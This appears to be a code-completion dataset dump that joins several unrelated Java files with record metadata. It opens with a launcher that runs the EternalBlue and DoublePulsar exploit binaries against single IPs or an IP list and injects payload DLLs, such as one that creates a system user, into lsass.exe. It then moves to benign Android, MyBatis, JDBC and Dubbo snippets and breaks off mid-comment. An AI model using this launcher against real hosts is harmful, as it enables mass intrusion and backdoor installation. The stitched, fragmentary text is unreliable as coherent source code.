String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig " + dir+File.separator+"files"+File.separator +"Eternalblue-2.2.0.xml"+ " --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+"EB_" + tempString + "_" + port + ".txt" + " --Target " + TargetOS;
System.out.println(EBexpCommand);
runCMD(EBexpCommand);
line++;
}
reader.close();
} catch (Exception e) {
}
finally {
if (reader != null) {
try {
reader.close();
} catch (Exception e)
{
}
}
}
}
catch(Exception e) {
e.printStackTrace();
}
} else {
String EBexpCommand = "C:\\Windows\\System32\\cmd.exe /c files\\Eternalblue-2.2.0.exe --InConfig files\\Eternalblue-2.2.0.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " +dir+File.separator+"logs" +File.separator+"EB_" + ip + "_" + port + ".txt" + " --Target " + TargetOS;
System.out.println(EBexpCommand);
runCMD(EBexpCommand);
}
} catch (Exception e) {
}
}
public void DPexp_function() {
URL url = getClass().getProtectionDomain().getCodeSource().getLocation();
File myfile = null;
try {
myfile = new File(url.toURI());
} catch (URISyntaxException e) {
e.printStackTrace();
}
File dir = myfile.getParentFile(); //jar文件所在的绝对目录
String networkTimeout = null;
String ip = null;
String port = null;
String protocol = null;
String architecture = null;
String function = null;
String payload = null;
String dllordinal = null;
String processName = null;
String processCommandLine =null;
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
try {
//ip
System.out.println("input TargetIpAddress or list (Default. The 'list' will use ip.txt):");
ip = br.readLine();
//在命令执行前判断
//port
System.out.println("input TargetPort(Default:445):");
port = br.readLine();
if (port.equals("")) port = "445";
//port为空,则设置为445 否则则为用户输入的值
//protocol
System.out.println("input protocol(Default:SMB other:RDP):");
protocol = br.readLine();
if (protocol.equals("")) protocol = "SMB";
//architecture
System.out.println("input architecture(Default:x64 other:x86):");
architecture = br.readLine();
if (architecture.equals("")) architecture = "x64";
//Function
System.out.println("input Function(Default:RunDll): \n other:\nPing(Check whether the backdoor is installed)" +
"\nOutPutInstall(Generate a shellcode)" +
"\nRunShellcode" +
"Uninstall");
function = br.readLine();
if (function.equals("")) function = "RunDLL";
//payload
System.out.println("input payloadDllname(Default:x64createSysUser.dll other: X64reboot.dll X86reboot.dll x64createSysUser.dll x86createSysUser.dll your.dll):");
payload = br.readLine();
if (payload.equals("")) payload = "x64createSysUser.dll";
//payloadDllOrdinal 默认1 : The exported ordinal number of the DLL being injected to call
System.out.println("input payloadDllOrdinal(Default:1):");
dllordinal = br.readLine();
if (dllordinal.equals("")) dllordinal = "1";
//ProcessName :: Name of process to inject into
System.out.println("input ProcessName to inject into (Default:lsass.exe other:explorer.exe svchost.exe ):");
processName = br.readLine();
if (processName.equals("")) processName = "lsass.exe";
//ProcessCommandLine :: Command line of process to inject into
System.out.println("input ProcessCommandLine :: Command line of process to inject into (Default:\"\"):");
processCommandLine = br.readLine();
if (processCommandLine.equals("")) processCommandLine = "\"\"";
//NetworkTimeout
System.out.println("input NetworkTimeout(Default 60):");
networkTimeout = br.readLine();
if (networkTimeout.equals("")) networkTimeout = "60";
if (ip.equals("list")||ip.equals("")) {
/**
* 一行一行读取文件,适合字符读取,若读取中文字符时会出现乱码
*流的关闭顺序:先打开的后关,后打开的先关, 否则有可能出现java.io.IOException: Stream closed异常
*/
try {
//System.out.println(dir);
File file = new File(dir+File.separator+"ip.txt");
BufferedReader reader = null;
try {//以行为单位读取文件内容,一次读一整行
reader = new BufferedReader(new FileReader(file));
String tempString = null;
int line = 1;
// 一次读入一行,直到读入null为文件结束
while ((tempString = reader.readLine()) != null) {
// 显示行号
System.out.println(line + " CurrentIP " + tempString);
String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + tempString + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + tempString + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout;
System.out.println(DPexpCommand);
runCMD(DPexpCommand);
line++;
}
reader.close();
} catch (java.io.FileNotFoundException e)
{
System.err.println("Can't find file ip.txt in jar file directory.");
}
catch (Exception e) {
e.printStackTrace();
}
finally {
if (reader != null) {
try {
reader.close();
} catch (Exception e)
{
}
}
}
}
catch(Exception e) {
e.printStackTrace();
}
} else {
//System.out.println(networkTimeout+ip+port+processCommandLine+protocol);
/*
String networkTimeout = null;
String ip = null;
String port = null;
String protocol = null;
String architecture = null;
String function = null;
String payload = null;
String dllordinal = null;
String processName = null;
String processCommandLine =null;
*/
String DPexpCommand = "C:\\Windows\\System32\\cmd.exe /c "+ dir +File.separator+"files"+File.separator+"Doublepulsar-1.3.1.exe --InConfig " + dir+File.separator+"files"+File.separator +"Doublepulsar-1.3.1.xml --TargetIp " + ip + " --TargetPort " + port + " --OutConfig " + dir+File.separator+"logs" +File.separator+ "DP_" + ip + "_" + port + ".txt" + " --Protocol " + protocol + " --Architecture " + architecture + " --Function " + function + " --DllPayload " +dir +File.separator+"dlls"+File.separator+payload +" --payloadDllOrdinal "+dllordinal+" --ProcessName "+processName+" --ProcessCommandLine "+processCommandLine+" --NetworkTimeout "+networkTimeout;
System.out.println(DPexpCommand);
runCMD(DPexpCommand);
}
} catch (Exception e)
{
}
//System.out.println(new Date());
//runCMD_bat(DPexpCommand);
//System.out.println(new Date());
}
} | 0 |
63327_24 | package cmccsi.mhealth.app.sports.tabhost;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Build;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.GridView;
import android.widget.ImageView;
import android.widget.SimpleAdapter;
import android.widget.Toast;
import cmccsi.mhealth.app.sports.common.Constants;
import cmccsi.mhealth.app.sports.common.PreferencesUtils;
import cmccsi.mhealth.app.sports.common.SharedPreferredKey;
import cmccsi.mhealth.app.sports.common.utils.ToastUtils;
import cmccsi.mhealth.app.sports.pedo.PedometerActivity;
import cmccsi.mhealth.app.sports.view.CustomDialog;
import cmccsi.mhealth.app.sports.R;
public class MainGridFragment extends Fragment implements OnClickListener,
OnItemClickListener {
public static final int TAB_HEALTH = 0;
public static final int TAB_CORPORATION = 1;
public static final int TAB_PLAY = 2;
private int tabId;
View view;
private GridView gd_main;
private SimpleAdapter gridViewAdapter;
private List<Map<String, Object>> gridItemView;
private Intent intent;
private ImageView selectedIcon;
public MainGridFragment(){
this.tabId = 0;
}
public MainGridFragment(int tabId){
this.tabId = tabId;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// TODO Auto-generated method stub
view = inflater.inflate(R.layout.fragment_main_grid,
container, false);
initView();
intent = new Intent();
return view;
}
@Override
public void onResume() {
super.onResume();
if (selectedIcon != null) {
selectedIcon.setSelected(false);
}
}
private void initView() {
gridItemView = new ArrayList<Map<String, Object>>();
initGridView();
}
/**
* 初始化gridview
*/
private void initGridView() {
gd_main = (GridView) view.findViewById(R.id.gd_main);
gd_main.setSelector(new ColorDrawable(Color.TRANSPARENT));
loadGridViewData(tabId);
initAdapter();
gd_main.setAdapter(gridViewAdapter);
gd_main.setOnItemClickListener(this);
}
/**
* 添加item
*
* @param iconRes
* @param itemDetails
* @param launchId
*/
private void addItem(int iconRes, String itemDetails, int launchId) {
Map<String, Object> item = new HashMap<String, Object>();
item.put("playimg", iconRes);
item.put("play", itemDetails);
item.put("intent", launchId);
gridItemView.add(item);
}
/**
* 初始化适配器
*/
private void initAdapter() {
String[] gridContent = new String[] { "playimg", "play" };
int[] gridItemId = new int[] { R.id.tab_main_gridview_img,
R.id.tab_main_gridview_text };
gridViewAdapter = new SimpleAdapter(getActivity(), gridItemView,
R.layout.tab_main_gridview_layout, gridContent, gridItemId);
}
/**
* 加载gridview中的数据
*
* @param tag
*/
private void loadGridViewData(int tag) {
switch (tag) {
case TAB_HEALTH:
loadDataPage1();
break;
case TAB_CORPORATION:
laodDataPage2();
break;
case TAB_PLAY:
loadDataPage3();
break;
default:
loadDataPage1();
break;
}
}
private void loadDataPage3() {
addItem(R.drawable.bg_grid_haoyou, "伙伴", 7);
addItem(R.drawable.bg_grid_jingsai, "比赛", 8);
if (PreferencesUtils.getBoolean(getActivity(), "ISHAVENEWMSG", false)) {
addItem(R.drawable.bg_grid_notifacationmsg, "消息", 9);
}else {
addItem(R.drawable.bg_grid_message, "消息", 9);
}
//暂时注释掉,以后有可能改动
// addItem(R.drawable.bg_grid_zhishi, "知识", 10);
}
private void laodDataPage2() {
// if (isClubInfoAvailable()) {
addItem(R.drawable.grid_qiye, "企业", 4);
addItem(R.drawable.grid_quyu, "区域", 15);
addItem(R.drawable.bg_grid_daren, "每日达人", 6);
// }else {
// addItem(R.drawable.grid_qiye_selected, "企业", 4);
// addItem(R.drawable.grid_quyu_selected, "区域", 15);
// }
}
private void loadDataPage1() {
addItem(R.drawable.bg_grid_health, "运动", 0);
addItem(R.drawable.bg_grid_gui, "路线", 1);
// addItem(R.drawable.bg_grid_lishi, "历史记录", 2);
// addItem(R.drawable.bg_grid_wight, "体重", 3);
//隐藏掉 成就模块(在运动界面显示成就)
// addItem(R.drawable.bg_grid_goal, "成就", 13);
//判断是否绑定有手环设备,有则显示 心境 功能,无则不显示
if(PreferencesUtils.getBoolean(getActivity(), SharedPreferredKey.HAVE_BRACELET_DEVICE, false)){
addItem(R.drawable.bg_grid_ecg, "心境", 14);
}
}
/**
* club信息是否正常获取
* @return
*/
private boolean isClubInfoAvailable(){
return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.CLUB_ID, Constants.DEFAULT_CLUBID) != Constants.DEFAULT_CLUBID;
}
/**
* club信息是否正常获取
* @return
*/
private boolean isCityInfoAvailable(){
return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.COUNTY_ID, 0) != 0;
}
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
if (v.getId() == R.id.iv_showGoal) {
String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null);
if(mDeviceId != null){
//intent.setClass(getActivity(), PedometorActivity.class);
intent.setClass(getActivity(), PedometerActivity.class);
startActivity(intent);
}else{
ToastUtils.showToast(getActivity(), "请先绑定运动设备!");
}
}
}
@Override
public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) {
// TODO Auto-generated method stub
Map<String, Object> gridItem = gridItemView.get(arg2);
int i = (Integer) gridItem.get("intent");
if (i == 4) {
if (!isClubInfoAvailable()) {
ToastUtils.showToast(getActivity(), "您不是企业用户,无企业相关信息");
return;
}
}
else if(i==15)
{
if (!isCityInfoAvailable()) {
// ToastUtils.showToast(getActivity(), "请您到设置页完善区域组织信息");
isShowAreaInfo();
return;
}
}
//心境功能需要Android 4.3
if(i==14) {
if(Build.VERSION.SDK_INT<18) {
Toast.makeText(getActivity(), "您的Android系统版本过低,暂不支持心境功能", Toast.LENGTH_SHORT).show();
return;
}
}
selectedIcon = (ImageView) arg1
.findViewById(R.id.tab_main_gridview_img);
selectedIcon.setSelected(true);
intent.putExtra("intent", i);
if (!handleItemClick(i)) {
intent.setClass(getActivity(), TabBaseFragment.class);
startActivity(intent);
}
}
/**
* TODO 展示区域信息对话框
*
* @return void
* @author zhangfengjuan
* @time 下午5:02:20
*/
private void isShowAreaInfo() {
// 从接口获取"省市县"的信息,未设置,弹出对话框,提示前往设置。
CustomDialog.showDialog(getActivity(), R.string.dialog_area_title, R.string.dialog_area_message, true,
R.drawable.ic_dialog_error, getString(R.string.dialog_area_yes), new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// // 进入设置页面
Intent intent = new Intent(getActivity(), TabBaseFragment.class);
intent.putExtra("intent", 11);
startActivity(intent);
getActivity().finish();
dialog.dismiss();
}
}, getString(R.string.dialog_area_no), new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
}
/**
* 处理item点击事件,过滤特殊item
* @return
*/
private boolean handleItemClick(int launchId) {
switch (launchId) {
case 0:
// int deviceType= PreferencesUtils.getInt(getActivity(), SharedPreferredKey.DEVICE_TYPE, 0);
// if(deviceType==2)
// {
// intent.setClass(getActivity(), PedometorActivity.class);
// }
// else
// {
// intent.setClass(getActivity(), PedometerActivity.class);
//// }
// startActivity(intent);
//
String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null);
if(mDeviceId != null){
intent.setClass(getActivity(), PedometerActivity.class);
startActivity(intent);
getActivity().overridePendingTransition(R.anim.slide_in_right,R.anim.silde_out_left);
}else{
ToastUtils.showToast(getActivity(), "请先到设置页面激活运动设备!");
selectedIcon.setSelected(false);
}
return true;
default:
break;
}
return false;
}
}
| 1136346879/loveSportsApp | src/cmccsi/mhealth/app/sports/tabhost/MainGridFragment.java | 2,726 | // 从接口获取"省市县"的信息,未设置,弹出对话框,提示前往设置。 | line_comment | zh-cn | package cmccsi.mhealth.app.sports.tabhost;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import android.content.DialogInterface;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Build;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.GridView;
import android.widget.ImageView;
import android.widget.SimpleAdapter;
import android.widget.Toast;
import cmccsi.mhealth.app.sports.common.Constants;
import cmccsi.mhealth.app.sports.common.PreferencesUtils;
import cmccsi.mhealth.app.sports.common.SharedPreferredKey;
import cmccsi.mhealth.app.sports.common.utils.ToastUtils;
import cmccsi.mhealth.app.sports.pedo.PedometerActivity;
import cmccsi.mhealth.app.sports.view.CustomDialog;
import cmccsi.mhealth.app.sports.R;
public class MainGridFragment extends Fragment implements OnClickListener,
OnItemClickListener {
public static final int TAB_HEALTH = 0;
public static final int TAB_CORPORATION = 1;
public static final int TAB_PLAY = 2;
private int tabId;
View view;
private GridView gd_main;
private SimpleAdapter gridViewAdapter;
private List<Map<String, Object>> gridItemView;
private Intent intent;
private ImageView selectedIcon;
public MainGridFragment(){
this.tabId = 0;
}
public MainGridFragment(int tabId){
this.tabId = tabId;
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// TODO Auto-generated method stub
view = inflater.inflate(R.layout.fragment_main_grid,
container, false);
initView();
intent = new Intent();
return view;
}
@Override
public void onResume() {
super.onResume();
if (selectedIcon != null) {
selectedIcon.setSelected(false);
}
}
private void initView() {
gridItemView = new ArrayList<Map<String, Object>>();
initGridView();
}
/**
* 初始化gridview
*/
private void initGridView() {
gd_main = (GridView) view.findViewById(R.id.gd_main);
gd_main.setSelector(new ColorDrawable(Color.TRANSPARENT));
loadGridViewData(tabId);
initAdapter();
gd_main.setAdapter(gridViewAdapter);
gd_main.setOnItemClickListener(this);
}
/**
* 添加item
*
* @param iconRes
* @param itemDetails
* @param launchId
*/
private void addItem(int iconRes, String itemDetails, int launchId) {
Map<String, Object> item = new HashMap<String, Object>();
item.put("playimg", iconRes);
item.put("play", itemDetails);
item.put("intent", launchId);
gridItemView.add(item);
}
/**
* 初始化适配器
*/
private void initAdapter() {
String[] gridContent = new String[] { "playimg", "play" };
int[] gridItemId = new int[] { R.id.tab_main_gridview_img,
R.id.tab_main_gridview_text };
gridViewAdapter = new SimpleAdapter(getActivity(), gridItemView,
R.layout.tab_main_gridview_layout, gridContent, gridItemId);
}
/**
* 加载gridview中的数据
*
* @param tag
*/
private void loadGridViewData(int tag) {
switch (tag) {
case TAB_HEALTH:
loadDataPage1();
break;
case TAB_CORPORATION:
laodDataPage2();
break;
case TAB_PLAY:
loadDataPage3();
break;
default:
loadDataPage1();
break;
}
}
private void loadDataPage3() {
addItem(R.drawable.bg_grid_haoyou, "伙伴", 7);
addItem(R.drawable.bg_grid_jingsai, "比赛", 8);
if (PreferencesUtils.getBoolean(getActivity(), "ISHAVENEWMSG", false)) {
addItem(R.drawable.bg_grid_notifacationmsg, "消息", 9);
}else {
addItem(R.drawable.bg_grid_message, "消息", 9);
}
//暂时注释掉,以后有可能改动
// addItem(R.drawable.bg_grid_zhishi, "知识", 10);
}
private void laodDataPage2() {
// if (isClubInfoAvailable()) {
addItem(R.drawable.grid_qiye, "企业", 4);
addItem(R.drawable.grid_quyu, "区域", 15);
addItem(R.drawable.bg_grid_daren, "每日达人", 6);
// }else {
// addItem(R.drawable.grid_qiye_selected, "企业", 4);
// addItem(R.drawable.grid_quyu_selected, "区域", 15);
// }
}
private void loadDataPage1() {
addItem(R.drawable.bg_grid_health, "运动", 0);
addItem(R.drawable.bg_grid_gui, "路线", 1);
// addItem(R.drawable.bg_grid_lishi, "历史记录", 2);
// addItem(R.drawable.bg_grid_wight, "体重", 3);
//隐藏掉 成就模块(在运动界面显示成就)
// addItem(R.drawable.bg_grid_goal, "成就", 13);
//判断是否绑定有手环设备,有则显示 心境 功能,无则不显示
if(PreferencesUtils.getBoolean(getActivity(), SharedPreferredKey.HAVE_BRACELET_DEVICE, false)){
addItem(R.drawable.bg_grid_ecg, "心境", 14);
}
}
/**
* club信息是否正常获取
* @return
*/
private boolean isClubInfoAvailable(){
return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.CLUB_ID, Constants.DEFAULT_CLUBID) != Constants.DEFAULT_CLUBID;
}
/**
* club信息是否正常获取
* @return
*/
private boolean isCityInfoAvailable(){
return PreferencesUtils.getInt(getActivity(), SharedPreferredKey.COUNTY_ID, 0) != 0;
}
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
if (v.getId() == R.id.iv_showGoal) {
String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null);
if(mDeviceId != null){
//intent.setClass(getActivity(), PedometorActivity.class);
intent.setClass(getActivity(), PedometerActivity.class);
startActivity(intent);
}else{
ToastUtils.showToast(getActivity(), "请先绑定运动设备!");
}
}
}
@Override
public void onItemClick(AdapterView<?> arg0, View arg1, int arg2, long arg3) {
// TODO Auto-generated method stub
Map<String, Object> gridItem = gridItemView.get(arg2);
int i = (Integer) gridItem.get("intent");
if (i == 4) {
if (!isClubInfoAvailable()) {
ToastUtils.showToast(getActivity(), "您不是企业用户,无企业相关信息");
return;
}
}
else if(i==15)
{
if (!isCityInfoAvailable()) {
// ToastUtils.showToast(getActivity(), "请您到设置页完善区域组织信息");
isShowAreaInfo();
return;
}
}
//心境功能需要Android 4.3
if(i==14) {
if(Build.VERSION.SDK_INT<18) {
Toast.makeText(getActivity(), "您的Android系统版本过低,暂不支持心境功能", Toast.LENGTH_SHORT).show();
return;
}
}
selectedIcon = (ImageView) arg1
.findViewById(R.id.tab_main_gridview_img);
selectedIcon.setSelected(true);
intent.putExtra("intent", i);
if (!handleItemClick(i)) {
intent.setClass(getActivity(), TabBaseFragment.class);
startActivity(intent);
}
}
/**
* TODO 展示区域信息对话框
*
* @return void
* @author zhangfengjuan
* @time 下午5:02:20
*/
private void isShowAreaInfo() {
// 从接 <SUF>
CustomDialog.showDialog(getActivity(), R.string.dialog_area_title, R.string.dialog_area_message, true,
R.drawable.ic_dialog_error, getString(R.string.dialog_area_yes), new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// // 进入设置页面
Intent intent = new Intent(getActivity(), TabBaseFragment.class);
intent.putExtra("intent", 11);
startActivity(intent);
getActivity().finish();
dialog.dismiss();
}
}, getString(R.string.dialog_area_no), new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
}
});
}
/**
* 处理item点击事件,过滤特殊item
* @return
*/
private boolean handleItemClick(int launchId) {
switch (launchId) {
case 0:
// int deviceType= PreferencesUtils.getInt(getActivity(), SharedPreferredKey.DEVICE_TYPE, 0);
// if(deviceType==2)
// {
// intent.setClass(getActivity(), PedometorActivity.class);
// }
// else
// {
// intent.setClass(getActivity(), PedometerActivity.class);
//// }
// startActivity(intent);
//
String mDeviceId = PreferencesUtils.getString(getActivity(), SharedPreferredKey.DEVICE_ID, null);
if(mDeviceId != null){
intent.setClass(getActivity(), PedometerActivity.class);
startActivity(intent);
getActivity().overridePendingTransition(R.anim.slide_in_right,R.anim.silde_out_left);
}else{
ToastUtils.showToast(getActivity(), "请先到设置页面激活运动设备!");
selectedIcon.setSelected(false);
}
return true;
default:
break;
}
return false;
}
}
| 0 |
52339_0 | package com.springmvc.dao;
import com.springmvc.entity.City;
import com.springmvc.entity.TreeData;
import java.util.List;
public interface CityMapper {
int deleteByPrimaryKey(Integer cityNo);//根据主键删除城市记录
int insert(City record);//新添城市(含城市全部信息)
int insertSelective(City record);//新添城市(可以只含有城市部分信息)
City selectByPrimaryKey(Integer cityNo);//根据主键查找某个城市
int updateByPrimaryKeySelective(City record);//更新城市信息(可以只更新部分信息)
int updateByPrimaryKey(City record);//更新城市信息(更新全部信息)
List<City> findAllCity();//查找所有城市
List<TreeData> findAllCityTreeData();//生成城市的TreeData
List<City> findCityByCondition(City record);//查找条件检索城市
List<TreeData> getCityAirportTree();//生成城市-机场 的treedata
} | 1144878989/SSM_20190116 | src/main/java/com/springmvc/dao/CityMapper.java | 234 | //根据主键删除城市记录 | line_comment | zh-cn | package com.springmvc.dao;
import com.springmvc.entity.City;
import com.springmvc.entity.TreeData;
import java.util.List;
public interface CityMapper {
int deleteByPrimaryKey(Integer cityNo);//根据 <SUF>
int insert(City record);//新添城市(含城市全部信息)
int insertSelective(City record);//新添城市(可以只含有城市部分信息)
City selectByPrimaryKey(Integer cityNo);//根据主键查找某个城市
int updateByPrimaryKeySelective(City record);//更新城市信息(可以只更新部分信息)
int updateByPrimaryKey(City record);//更新城市信息(更新全部信息)
List<City> findAllCity();//查找所有城市
List<TreeData> findAllCityTreeData();//生成城市的TreeData
List<City> findCityByCondition(City record);//查找条件检索城市
List<TreeData> getCityAirportTree();//生成城市-机场 的treedata
} | 0 |
18724_4 | package 学生基本信息管理平台;
import java.sql.*;
public class demo {
public static void main(String[] args)
{
try {
//前两行连接数据库 端口:3306 数据库:lxx 账号:root 密码:root
Class.forName("com.mysql.cj.jdbc.Driver");
Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3307/lxxsql?serverTimezone=GMT%2B8", "root", "root");
//这行是数据库指令 问号代表值的个数
String sql = "insert into prj values(?,?,?,?,?);";
//对ps变量使用sql操作
PreparedStatement ps = con.prepareStatement(sql);
//ps操作中要输入的两个值
ps.setString(1, "001");
ps.setString(2, "包子");
ps.setString(3, "1");
ps.setString(4, "1.5");
ps.setString(5, "1998..5.17");
//成功验证
int rows = ps.executeUpdate();
if(rows == 1)
{
System.out.println("添加成功");
}
}
catch (ClassNotFoundException e1){} catch (SQLException e) {
e.printStackTrace();
//失败验证
System.out.println("添加失败");
}
}
}
| 1160708674/student | demo.java | 314 | //ps操作中要输入的两个值
| line_comment | zh-cn | package 学生基本信息管理平台;
import java.sql.*;
public class demo {
public static void main(String[] args)
{
try {
//前两行连接数据库 端口:3306 数据库:lxx 账号:root 密码:root
Class.forName("com.mysql.cj.jdbc.Driver");
Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3307/lxxsql?serverTimezone=GMT%2B8", "root", "root");
//这行是数据库指令 问号代表值的个数
String sql = "insert into prj values(?,?,?,?,?);";
//对ps变量使用sql操作
PreparedStatement ps = con.prepareStatement(sql);
//ps <SUF>
ps.setString(1, "001");
ps.setString(2, "包子");
ps.setString(3, "1");
ps.setString(4, "1.5");
ps.setString(5, "1998..5.17");
//成功验证
int rows = ps.executeUpdate();
if(rows == 1)
{
System.out.println("添加成功");
}
}
catch (ClassNotFoundException e1){} catch (SQLException e) {
e.printStackTrace();
//失败验证
System.out.println("添加失败");
}
}
}
| 0 |
47073_2 | package com.lwl.dubbo.dao.impl;
import org.springframework.stereotype.Repository;
import com.lwl.dubbo.dao.UserDao;
import com.lwl.dubbo.domain.User;
/**
* DAO数据层操作
* @author Administrator
* @create 2016-8-9 上午10:30:03
* @version 1.0
*/
@Repository("userDao")
public class UserDaoImpl implements UserDao {
/**
* 通过模拟数据库数据,返回结果
* 看客可以根据自己需要 从数据库获取数据然后返回
* @param id
* @return
* @author Administrator
* @create 2016-8-9 上午10:31:34
*/
@Override
public User findUserById(long id) {
User info = new User();
info.setId(id);
info.setEmail("xxxxxxxxxx@163.com");
info.setMobile("13844445555");
info.setUsername("宇宙最帅");
info.setPassword("12345600");
return info;
}
@Override
public User findUserThrowsException() {
//让程序出错,便于返回测试
int i = 1/0;
System.out.println(i);
return null;
}
}
| 1181888200/dubbo | lwl-dubbo/dubbo-web/src/main/java/com/lwl/dubbo/dao/impl/UserDaoImpl.java | 346 | //让程序出错,便于返回测试 | line_comment | zh-cn | package com.lwl.dubbo.dao.impl;
import org.springframework.stereotype.Repository;
import com.lwl.dubbo.dao.UserDao;
import com.lwl.dubbo.domain.User;
/**
* DAO数据层操作
* @author Administrator
* @create 2016-8-9 上午10:30:03
* @version 1.0
*/
@Repository("userDao")
public class UserDaoImpl implements UserDao {
/**
* 通过模拟数据库数据,返回结果
* 看客可以根据自己需要 从数据库获取数据然后返回
* @param id
* @return
* @author Administrator
* @create 2016-8-9 上午10:31:34
*/
@Override
public User findUserById(long id) {
User info = new User();
info.setId(id);
info.setEmail("xxxxxxxxxx@163.com");
info.setMobile("13844445555");
info.setUsername("宇宙最帅");
info.setPassword("12345600");
return info;
}
@Override
public User findUserThrowsException() {
//让程 <SUF>
int i = 1/0;
System.out.println(i);
return null;
}
}
| 0 |
57676_2 | package txtPakge.Demo2;
import java.util.Scanner;
public class IfDemo1 {
public static void main(String[] args) {
//需求:键盘录入女婿酒量,大于2斤,老丈人给出回应,反之不回应
//1.录入酒量
Scanner sc=new Scanner(System.in);
System.out.println("输入酒量(L):");
double drunk=sc.nextDouble();
//2.If语句判断回应(只有一个单独的执行语句体时也可以不写大括号,包含多个运算的不算单独)
//例如 int a=100;算是两句执行语句
if(drunk>2){
System.out.println("小伙子,不错!!");
}
}
}
| 1187501208/Myself_petterJonkson_prictice | day02-code/src/txtPakge/Demo2/IfDemo1.java | 200 | //2.If语句判断回应(只有一个单独的执行语句体时也可以不写大括号,包含多个运算的不算单独) | line_comment | zh-cn | package txtPakge.Demo2;
import java.util.Scanner;
public class IfDemo1 {
public static void main(String[] args) {
//需求:键盘录入女婿酒量,大于2斤,老丈人给出回应,反之不回应
//1.录入酒量
Scanner sc=new Scanner(System.in);
System.out.println("输入酒量(L):");
double drunk=sc.nextDouble();
//2. <SUF>
//例如 int a=100;算是两句执行语句
if(drunk>2){
System.out.println("小伙子,不错!!");
}
}
}
| 0 |
17780_1 | package chapter27;
import com.google.common.collect.Lists;
import java.util.List;
import java.util.Optional;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
/**
* name 方法在 Wine 类中声明,并在子类 SparklingWine 和 Champagne 中重写。正如你所 料,此程序打印出 wine,sparkling wine 和 champagne,
* 即使实例的编译时类型在循环的每次迭代中都是 Wine 。 当调用重写方法时,对象的编译时类型对执行哪个方法没有影响;
* 总是会执行“最具体 (mostspecific)”的重写方法。 将此与重载进行比较,其中对象的运行时类型对执行的重载没有影响; 选择是在编译时完成的,完全基于参数的编译时类型。
* @author karl xie
*/
class Wine {
String name() {
return "wine";
}
}
class SparklingWine extends Wine {
@Override
String name() {
return "sparkling wine";
}
}
class Champagne extends SparklingWine {
@Override
String name() {
return "champagne";
}
}
class Overriding {
public static void main(String[] args) {
List<Wine> wineList = Lists.newArrayList(
new Wine(), new SparklingWine(), new Champagne()
);
for (Wine wine : wineList)
System.out.println(wine.name());
/**
* 虽然 Thread 构造方法调用和 submit 方法调用看起来很相似,但是前者编译而后者不编译。参数是相同的 ( System.out::println ),
* 两者都有一个带有 Runnable 的重载。这里发生了什么?令人惊讶的答案是, submit 方法有一个带有 Callable <T> 参数的重载,而 Thread 构造方法却没有。
* 你可能认为这不会有什么区别,因为 println 方法的所有重载都会返回 void ,因此方法引用不可能是 Callable 。这很有道理,但重载解析算法不是这样工作的。
* 也许同样令人惊讶的是,如果println 方法没有被重载,那么 submit 方法调用是合法的。正是被引用的方法(println)的重载和被调用的方法(submit)相结合,阻止了重载解析算法按照你所期望的方式运行。
*/
new Thread(System.out::println).start();
ExecutorService exec = Executors.newCachedThreadPool();
// exec.submit(System.out::println);
}
} | 11Karl11/effective-java | src/main/java/chapter27/Wine.java | 614 | /**
* 虽然 Thread 构造方法调用和 submit 方法调用看起来很相似,但是前者编译而后者不编译。参数是相同的 ( System.out::println ),
* 两者都有一个带有 Runnable 的重载。这里发生了什么?令人惊讶的答案是, submit 方法有一个带有 Callable <T> 参数的重载,而 Thread 构造方法却没有。
* 你可能认为这不会有什么区别,因为 println 方法的所有重载都会返回 void ,因此方法引用不可能是 Callable 。这很有道理,但重载解析算法不是这样工作的。
